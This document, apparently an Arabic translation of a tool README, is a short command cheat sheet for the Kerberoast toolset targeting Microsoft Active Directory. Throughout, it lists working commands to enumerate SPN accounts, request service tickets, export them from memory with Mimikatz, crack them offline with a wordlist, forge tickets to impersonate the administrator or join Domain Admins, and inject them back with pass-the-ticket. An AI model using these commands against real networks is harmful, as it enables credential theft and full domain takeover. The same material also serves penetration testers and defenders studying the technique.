kerberoast

Kerberoast هي مجموعة من الأدوات لمهاجمة تطبيقات Kerberos في أنظمة MS. فيما يلي نظرة عامة مختصرة على وظيفة كل أداة.

استخراج جميع الحسابات المستخدمة كـ SPN باستخدام أدوات MS المدمجة

PS C:\> setspn -T medin -Q */*

طلب التذاكر (تذكرة واحدة أو أكثر)

تذكرة واحدة:

PS C:\> Add-Type -AssemblyName System.IdentityModel  
PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/web01.medin.local"  

جميع التذاكر

PS C:\> Add-Type -AssemblyName System.IdentityModel  
PS C:\> setspn.exe -T medin.local -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }  

استخراج التذاكر المكتسبة من الذاكرة العشوائية باستخدام Mimikatz

mimikatz # kerberos::list /export

كسر التشفير باستخدام tgsrepcrack

./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

إعادة الكتابة (Rewrite)

جعل المستخدم يظهر كمستخدم آخر

./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -w sql.kirbi -u 500  

إضافة مستخدم إلى مجموعة أخرى (في هذه الحالة مسؤول المجال)

./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -w sql.kirbi -g 512  

حقن التذكرة المعدلة مرة أخرى في الذاكرة العشوائية باستخدام Mimikatz

kerberos::ptt sql.kirbi